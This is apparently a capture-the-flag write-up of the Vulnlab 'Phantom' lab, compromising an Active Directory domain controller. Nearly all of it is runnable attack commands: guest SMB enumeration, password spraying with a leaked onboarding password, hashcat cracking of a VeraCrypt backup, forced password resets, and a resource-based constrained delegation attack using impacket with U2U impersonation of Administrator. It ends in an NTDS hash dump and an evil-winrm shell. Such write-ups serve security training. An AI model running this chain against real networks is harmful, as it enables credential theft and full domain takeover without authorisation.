VL-Phantom

Vulnlab Phantom: Advanced Resource-Based Constrained Delegation Attack Walkthrough

This detailed Vulnlab penetration testing walkthrough documents my systematic approach to compromising the Phantom Active Directory environment. Beginning with thorough reconnaissance and open-source intelligence gathering from an exposed email attachment, I discovered a default onboarding password being used across the domain. Through methodical password spraying, encrypted backup cracking, and privilege escalation via service account compromise, I ultimately executed an advanced Resource-Based Constrained Delegation (RBCD) attack to achieve domain administrator access. This step-by-step technical guide demonstrates sophisticated Active Directory exploitation techniques including password manipulation, Kerberos ticket manipulation, and delegation abuse - essential knowledge for security professionals conducting thorough penetration tests against enterprise environments. The walkthrough illustrates how seemingly minor security oversights, like unchanged default passwords and excessive user permissions, can be chained together to completely compromise an Active Directory domain.

Initial Reconnaissance

First, I performed a port scan to identify available services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory 
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory 
3269/tcp  open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: PHANTOM
|   NetBIOS_Domain_Name: PHANTOM
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: phantom.vl
|   DNS_Computer_Name: DC.phantom.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-04-05T12:12:58+00:00
5357/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49672/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49673/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49681/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49714/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49839/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

The open ports reveal this is a Windows domain controller (phantom.vl) with typical Active Directory services running, including SMB, Kerberos, LDAP, and WinRM.

Initial Access

I started by exploring SMB shares accessible with the guest account:

1
netexec smb phantom.vl -u 'guest' -p '' --shares

Guest SMB Share Access
I discovered a publicly accessible share that I could connect to:

1
smbclient //10.10.122.37/Public -U guest
1
get tech_support_email.eml

Public Share Contents

Extracting User Information

I examined the email file for potential user accounts:

1
strings tech_support_email.eml

Email Analysis
Two possible users were identified:

1
2
alucas@phantom.vl
techsupport@phantom.vl

The email also contained an embedded PDF with onboarding instructions. I extracted it using:

1
munpack tech_support_email.eml

PDF Information
The PDF revealed a potential default password used during employee onboarding: Ph4nt0m@5t4rt!

User Enumeration

Using the null session access, I was able to enumerate all domain users:

1
impacket-lookupsid phantom.vl/guest@10.10.122.37 -target-ip 10.10.122.37 -no-pass

User list obtained:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Administrator
Guest
krbtgt
DC$
svc_sspr
rnichols
pharrison
wsilva
elynch
nhamilton
lstanley
bbarnes
cjones
agarcia
ppayne
ibryant
ssteward
wstewart
vhoward
crose
twright
fhanson
cferguson
alucas
ebryant
vlynch
ghall
ssimpson
ccooper
vcunningham

Password Spraying

I performed a password spray using the default onboarding password:

1
netexec smb phantom.vl -u usernames.txt -p 'Ph4nt0m@5t4rt!' --continue-on-success

Successful Password Spray
I found one user who hadn’t changed their default password:

1
ibryant:Ph4nt0m@5t4rt!

Privilege Escalation Path

Using the compromised account, I checked for additional share access:

1
netexec smb phantom.vl -u ibryant -p 'Ph4nt0m@5t4rt!' --shares

Additional Share Access
I now had access to the “Departments Share” as well as NETLOGON and SYSVOL. I explored the new share:

1
smbclient //10.10.122.37/'Departments Share' -U ibryant

Departments Share Contents
I attempted to download all files recursively:

1
2
3
recurse ON
prompt OFF
mget *

This failed due to large files in the IT share, so I specifically targeted the backup file:

1
smbclient //10.10.122.37/'Departments Share' -U ibryant -c 'timeout 120; iosize 16384; get \IT\Backup\IT_BACKUP_201123.hc'

Cracking the Encrypted Backup

The backup file was encrypted with VeraCrypt. To crack it, I first extracted the hash:

1
dd if=./it.hc of=./hash bs=512 count=1

I attempted to crack it with standard wordlists:

1
hashcat -m 13722 -a 0 hash /usr/share/wordlists/rockyou.txt

When that failed, I created a custom wordlist and rule file:

1
2
3
4
5
6
7
8
9
10
11
12
cat phantom.txt
phantom
Phantom
PHANTOM
PHANT0M
phant0m
phantom.vl
PHANTOM.VL
phant0m.vl
PHANT0M.vl
Ph4nt0m
PH4NT0M
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat phantom.rule 
$2 $0 $2 $3 $$
$2 $0 $2 $3 $&
$2 $0 $2 $3 $@
$2 $0 $2 $3 $!
$2 $0 $2 $3 $#
$2 $0 $2 $3 $%
$2 $0 $2 $3 $^
$2 $0 $2 $3 $*
$2 $0 $2 $3 $(
$2 $0 $2 $3 $)
$2 $0 $2 $3 $-
$2 $0 $2 $3 $_
$2 $0 $2 $3 $=
$2 $0 $2 $3 $+

I ran hashcat with the custom wordlist and rules:

1
hashcat -a 0 -m 13721 it.hc phantom.txt -r phantom.rule

Cracked Hash

The password was cracked:

1
it.hc:<NOPE>

Analyzing Encrypted Contents

I mounted the encrypted volume:

1
veracrypt it.hc

VeraCrypt Mount
After searching through the files, I found credentials for user lstanley in /config/config.boot:

1
2
3
4
5
6
7
8
9
10
vpn {
    sstp {
        authentication {
            local-users {
                username lstanley {
                    password "PASS"
                }
            }
            mode "local"
        }

Further Account Compromise

I checked if any service accounts used the same password:

1
netexec smb phantom.vl -u usernames.txt -p '' --shares --continue-on-success

Service Account Access
I confirmed we had WinRM access with these credentials:

1
netexec winrm phantom.vl -u svc_sspr -p ''

BloodHound Analysis

I used BloodHound to map potential attack paths:

1
netexec ldap 10.10.108.178 -u svc_sspr -p '' --bloodhound --dns-server 10.10.108.178 -c All --dns-tcp

ForceChangePassword Permission
I discovered that users in the ICT Security group had AddAllowedToAct permissions:
Attack Path
I checked if we could add new computers to the domain:

1
netexec ldap 10.10.108.178 -u svc_sspr -p 'PASS' -M maq

The result showed MachineAccountQuota: 0, meaning we couldn’t add new computer accounts.

Compromising Additional Users

Using the ForceChangePassword privilege, I reset passwords for several users:

1
net rpc password "crose" "newP@ssword2022" -U "phantom.vl"/"svc_sspr"%'PASS' -S DC.phantom.vl
1
net rpc password "wsilva" "newP@ssword2022" -U "phantom.vl"/"svc_sspr"%'PASS' -S DC.phantom.vl
1
net rpc password "rnichols" "newP@ssword2022" -U "phantom.vl"/"svc_sspr"%'PASS' -S DC.phantom.vl

I checked if any of these users could add machines to the domain:

1
netexec ldap 10.10.108.178 -u usernames-p 'newP@ssword2022' -M maq

None of them had this privilege.

Resource-Based Constrained Delegation (RBCD) Attack

Since we couldn’t add computer accounts, I had to leverage RBCD on SPN-less users. The process involves:

  1. Obtaining a TGT for the SPN-less user allowed to delegate to a target and retrieving the TGT session key
  2. Changing the user’s password hash to match the TGT session key
  3. Combining S4U2self and U2U to obtain a service ticket to the target on behalf of a more privileged user
  4. Using the ticket to access the target as the delegated user

I chose to use the wsilva account for this attack:

1
impacket-rbcd -delegate-from 'wsilva' -delegate-to 'DC$' -dc-ip '10.10.108.178' -action 'write' 'phantom.vl'/'wsilva':'newP@ssword2022'

RBCD Configuration
Next, I obtained a TGT through overpass-the-hash to use RC4:

1
impacket-getTGT -hashes :$(pypykatz crypto nt 'newP@ssword2022') 'phantom.vl'/'wsilva'
1
export KRB5CCNAME=wsilva.ccache

I extracted the TGT session key:

1
2
impacket-describeTicket wsilva.ccache | grep 'Ticket Session Key'
[*] Ticket Session Key            : 08d09e30adcdade32338f3241b5b183d

Then I changed the user’s NT hash to match the TGT session key:

1
impacket-changepasswd -newhashes :08d09e30adcdade32338f3241b5b183d 'phantom.vl'/'wsilva':'newP@ssword2022'@'DC.phantom.vl'

Password Change
With this setup complete, I obtained a delegated service ticket through S4U2self+U2U, followed by S4U2proxy:

1
impacket-getST -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/DC.phantom.vl" 'phantom.vl'/'wsilva'

Administrator Ticket
I set the Kerberos ticket for use:

1
export KRB5CCNAME=Administrator@cifs_DC.phantom.vl@PHANTOM.VL.ccache

Finally, I was able to access domain controller resources as Administrator:

1
nxc smb DC.phantom.vl --use-kcache --ntds

And establish a shell with the compromised Administrator hash:

1
evil-winrm -i phantom.vl -u Administrator -H <HASH>

https://api.vulnlab.com/api/v1/share?id=3c11f61d-bbef-4060-a25c-218e7e931b55